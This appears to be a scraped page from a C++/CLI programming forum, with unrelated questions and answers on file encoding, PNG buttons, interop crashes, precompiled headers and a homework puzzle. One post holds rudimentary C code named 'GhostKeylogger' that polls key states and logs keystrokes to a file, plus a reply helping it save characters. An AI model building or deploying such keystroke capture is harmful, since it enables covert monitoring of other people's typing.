|
I apologize but I realized that I posted the question in the wrong forum (Managed C++/CLI) and I could not find a way to remove it. Sorry.
|
|
|
|
|
hi all
Has someone got sample codes (including description) on how to create an Inputbox in C++?
Thanks in advance
|
|
|
|
|
I want to save the ASCII characters, in this case i started with the "☺" when someone press alt+1.
I dont know how to save that type of characters in the txt. What can i do?
Ive searched like a month about this, in all kind of forums, asking my teachers or people who knows and nobody can answer me this.
A possible solution was to make all again and use HOOK functions and some others like: WH_KEYBOARD_LL. Well... i dont know how to use any of that functions, so its a big problem.
PD: Im from Argentina, sorry for my bad english.
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31
void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32];
void GhostKeylogger(FILE *txt)
{
for(int i=0; i<255; i++){
if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
{
if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
{
fprintf(txt,"~"); break;
}}
if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
{
fprintf(txt,"%c\t",0x01);
}
}
}
int main(){
FILE *txt;
while(TRUE){
if(txt != NULL){
FILE *txt = fopen("Experimento.txt", "a+");
Sleep(30);
GhostKeylogger(txt);
fclose(txt);
}
}
}
|
|
|
|
|
First of all if you want handle characters that are out of standard printable set, and could be filtered by text handling, open the file as binary:
FILE *txt = fopen("Experimento.txt", "ab+");
In this case you have to manually handle end of line adding "\r\n" at end of each line isteade of the simple "\n", but you are free to store the whole set untouched.
Anyway even using standard text file opening there could be a couple of issues that you have to deal with. Just to be sure that the correct code has been saved in the output file open it in a binary editor and verify that the code 0x01 has been stored in the file, if it is not there you can try to open the file in binary mode, as reported above, or you can use putc instead of fprintf:
putc(txt,0x01);
But if the file is correct and 0x01 is in but you cannot visualize it the problem is a different one, if you can't show it in a console window or in a text editor the problem is that the ascii code you expect is not in the codepage used on your system. In this case the things get somewhat harder...
|
|
|
|
|
Hi,
I am trying the display the transparent ".png" image on the button it is working fine if i have the proper resource file but the situation is like that i have to get the image from a file and Load it on the button how do i do it please any kindly help me.
|
|
|
|
|
Take a look at the GDI+ Bitmap class[^]. You can use it to load bitmaps from input streams created from various file types.
|
|
|
|
|
How do I add a window to this program?
#include "stdafx.h"
#define DEBUG
class CAnswers {
public:
vector<string> answer;
CAnswers(void);
CAnswers(string ans);
~CAnswers(void);
int size(void);
} Answers;
CAnswers::CAnswers(void) {
}
CAnswers::CAnswers(string ans) {
stringstream ss(ans);
string temp_answer;
while (getline(ss, temp_answer, ','))
answer.push_back(temp_answer);
}
CAnswers::~CAnswers(void){
}
int CAnswers::size(void) {
return answer.size();
}
class CQuestion {
string _question;
public:
CAnswers* answers;
CQuestion(void);
CQuestion(string q_a);
~CQuestion(void);
string question(void);
} Question;
CQuestion::CQuestion(void) {
}
CQuestion::CQuestion(string q_a) {
string ans;
stringstream ss(q_a);
getline(ss, _question, ':');
ss >> ans;
answers = new CAnswers(ans);
}
string CQuestion::question(void) {
return _question;
}
CQuestion::~CQuestion(void){
delete answers;
}
class CEditor {
vector<CQuestion> questions;
ofstream myFile;
int age, address;
char selection, character[1];
string name, response;
HANDLE np;
unsigned notepadID;
public:
CQuestion* q;
CEditor(void);
~CEditor(void);
int menu(void);
void question(void);
void reload(void);
int time(void);
static unsigned int __stdcall notepadThread(void* arg);
void notepad(void);
} Editor;
CEditor::~CEditor(void){
delete q;
}
CEditor::CEditor(void) {
np = 0;
}
unsigned int __stdcall CEditor::notepadThread(void* arg) {
system("notepad.exe AI.txt");
_endthreadex(0);
return 0;
}
void CEditor::notepad(void) {
_beginthreadex(NULL, 0, &CEditor::notepadThread, np, 0, ¬epadID);
}
int CEditor::menu(void) {
system("CLS");
cout << "Menu:\n9 = Basic Information.\n8 = DATALOG\n7 = Reload \n6 = Time\n0 = Leave\n";
cin >> selection;
switch (selection)
{
case '8': {
notepad();
break;
}
case '0': {
cout << "- Please close Notepad to exit - ";
return 0;
}
case '9': {
question();
break;
}
case '7': {
reload();
break;
}
case '6': {
do {
time();
cout << "Press Enter to exit";
Sleep(750);
} while (_getch() != '\n');
break;
}
default: {
cout << "Nope" << endl;
break;
}
}
return 1;
}
void CEditor::question(void) {
myFile.open("AI.txt", ios_base::app);
myFile << "\n----- new entry -----\n";
system("CLS");
cout << "AI: What is your name?" << endl;
cin >> name;
system("CLS");
myFile << "Datalog" << "\nName: " << name << endl;
cout << "AI: How are you feeling?" << endl << name << ": ";
cin >> response;
system("CLS");
if (response == character) {
cout << "Invalid answer";
}
myFile << name << " is feeling " << response << endl;
cout << "AI: What is your age " << name << "?" << endl << name << ": ";
cin >> age;
system("CLS");
myFile << name << "'s age is " << age;
myFile.close();
if (!myFile)
{
cout << "Error";
}
}
void CEditor::reload(void) {
system("CLS");
cout << "Reloading";
Sleep(1000);
cout << ".";
Sleep(1000);
cout << ".";
Sleep(1000);
cout << ".";
}
int CEditor::time(void) {
struct tm newtime;
char am_pm[] = "AM";
__time64_t long_time;
char timebuf[26];
errno_t err;
system("CLS");
_time64(&long_time);
err = _localtime64_s(&newtime, &long_time);
if (err)
{
printf("Invalid argument to _localtime64_s.");
exit(1);
}
if (newtime.tm_hour > 12) strcpy_s(am_pm, sizeof(am_pm), "PM");
if (newtime.tm_hour > 12) newtime.tm_hour -= 12; if (newtime.tm_hour == 0) newtime.tm_hour = 12;
err = asctime_s(timebuf, 26, &newtime);
if (err)
{
printf("Invalid argument to asctime_s.");
exit(1);
}
printf("%.19s %s\n", timebuf, am_pm);
return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
CEditor editor;
editor.q = new CQuestion("How are you?:Good,Bad");
cout << editor.q->question() << endl;
for (int i = 0; i<editor.q->answers->size(); ++i) {
cout << editor.q->answers->answer[i] << endl;
}
system("pause");
return 0;
}
|
|
|
|
|
Use one of the templates that comes with Visual Studio, or samples that come with the Windows SDK. And please use the correct forum, this one is for C++/CLI.
|
|
|
|
|
Hi every one.
I want to create all rhythmic figures in music. I have an array for durations:
public static double[] duration_fltarray = new double[7];
duration_fltarray[0] = 1;
duration_fltarray[1] = 0.5;
duration_fltarray[2] = 0.25;
duration_fltarray[3] = 0.125;
duration_fltarray[4] = 0.625;
duration_fltarray[5] = 0.3125;
duration_fltarray[6] = 0.15625;
This array shows music times: 1 - 1/2 - 1/4 - 1/8 and so on.
I think it should be written by recursive function, because I couldn't do it by while and for loop.
Now, I need all sorted figures that sum of them are equal 1. For example:
1
1/2 - 1/2
1/2 - 1/4 - 1/4
1/4 - 1/2 - 1/4
1/4 - 1/4 - 1/2
1/4 - 1/4 - 1/4 - 1/4
1/8 - 1/2 - 1/4 - 1/8
1/8 - 1/2 - 1/8 - 1/4
1/8 - 1/2 - 1/8 - 1/8 - 1/8
...
Of course, number of figures will be too many more if we add 1/16 and 1/32 and ... .
I can print them in a web page(response.write) or in a c console; it's not important. But the algorithm should be as simple as possible.
Thank you all.
|
|
|
|
|
|
HackerMan has a message in form of digits but he wants to decode the message so that if enemies gets hold of the message they will not be completely able to decode the message.
Since the message consists only of number, So decoding involves reversing the number. The first digit becomes last and vice versa. For example, if there is 1245 in the code, it becomes 5421 now.
Note : All the leading zeros are omitted. That means if the number ends with a zero, the zero is lost by reversing (e.g. 1200 gives 21).
HackerMan is further thinking of complicating the process and he needs your help. Your task is to add the numbers after reversing and output the result after reversing the sum.
Input
The input consists of N cases. The first line of the input contains only positive integer N. Then follow the cases. Each case consists of exactly one line with two positive integers separated by space. These are the reversed numbers you are to add.
Output
For each case, print exactly one line containing only one integer - the reversed sum of two reversed numbers. Omit any leading zeros in the output.
Constraints
The value of N will be less than 10000.
The value of digits will be less than 5000.
|
|
|
|
|
Sorry, but we do not do your homework for you. It is given to you in order to assess your progress on the study course, not to test your ability to copy other people's work.
|
|
|
|
|
Hi All,
Im sure this is easy. I'm forgotten to cpp. I need to write cpp wrapper over a dot net c# web service proxy class. I thought I would start with this basic tutorial...LOL already stuck.
Overview:
I have a Dotnet(c# managed) dll just adding some text to your input string:
public class CSharpClass
{
public static byte[] Hello(byte[] name)
{
string s = ", hello from .NET!";
byte[] helloPart = Encoding.ASCII.GetBytes(s);
byte[] whole =
new byte[name.Length + helloPart.Length];
int i = 0;
foreach (byte b in name)
{
whole[i++] = b;
}
foreach (byte b in helloPart)
{
whole[i++] = b;
}
return whole;
}
}
This get consummed by the CPP dll:
using namespace CSharpAssembly;
__declspec(dllexport) char* __stdcall Hello(char* name)
{
int i = 0;
while (*name != '\0')
{
i++;
name++;
}
array<unsigned char>^ nameManArr = gcnew array<unsigned char>(i);
name -= i;
i = 0;
while (*name != '\0')
{
nameManArr[i] = *name;
name++;
i++;
}
array<unsigned char>^ char8ManArr = CSharpClass::Hello(nameManArr);
char* char8UnmanArr = new char[char8ManArr->Length + 1];
for (int i = 0; i < char8ManArr->Length; i++)
{
char8UnmanArr[i] = char8ManArr[i];
}
char8UnmanArr[char8ManArr->Length] = '\0';
return char8UnmanArr;
}
I have a debug entry test command line app (C#) consuming the C++ dll.
class DebugEntry
{
[DllImport("CppStdcallInerfaceWrapper2.dll",
CharSet = CharSet.Ansi, CallingConvention =
CallingConvention.StdCall)]
public static extern string Hello(string name);
static void Main(string[] args)
{
string sd = Hello("MyName");
System.Console.WriteLine();
System.Console.ReadLine();
}
}
When I run the command line app I can debug through the cpp dll into the C# dll but when I return from the cpp dll I get error on returning to the debug commanline app.
I get error:
An unhandled exception of type 'System.AccessViolationException' occurred in mscorlib.dll
Additional information: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.
I'm sure this is something simple?
|
|
|
|
|
What do you mean by returning? You mean after you invoke the static method Hello.
|
|
|
|
|
hi,
i am new and trying to create a dll to use for my .net project
i created a clr dll (class library) project by following the instruction from https://code.google.com/p/tesseractdotnet/wiki/TesseractEngineWrapper
but i keep getting errors from
control.cpp, output.cpp, tessedit.cpp and tesseractemginewrapper.cpp
the error are all the same stating
error C1010: unexpected end of file while looking for precompiled header. did you forget to add '#StdAfx.h' to your source?
as i am completely new i tried with/without the StdAfx.h and StdAfx.cpp which was there when i first created the project.
could anyone help me please?
|
|
|
|
|
The message is telling you exactly what is wrong. Your project is set to use precompiled headers, but you forgot to include StdAfx.h in your source code. Each source file (.cpp file) should include the following line at the top:
#include "StdAfx.h"
|
|
|
|
|
How to sound recorder c++
|
|
|
|
|
|
Hoping somebody can help me with this. I looked for this issue coming up before, but I wasn't able to find anything. May be just my search skills...
Here's the question:
I have a class that generates events, using a custom event args class. That event args class contains a pointer to a large array. Something like this:
public ref struct MyEventArgs : EventArgs {
array<UInt16>^ imageData;
...
}
When this event gets activated, does the event args structure get cloned for each object instance that subscribes to the event, or is there a single instance of the event object with each event handler getting a managed pointer to the same object?
What I'm really getting to is whether the large array gets cloned for each event handler. I'm guessing no.
Many thanks in advance for any pointers (no pun intended...)
|
|
|
|
|
I just tried this out and each event handler received a reference to the same (one and only) MyEventArgs and thus the same array.
I changed some array values in the first event handler and subsequent handlers all saw the modified values in their arrays.
John
|
|
|
|
|
|
|
|
|
Sorry, but I couldn't understand what you want?
Could you explain more clearly?
|
|
|
|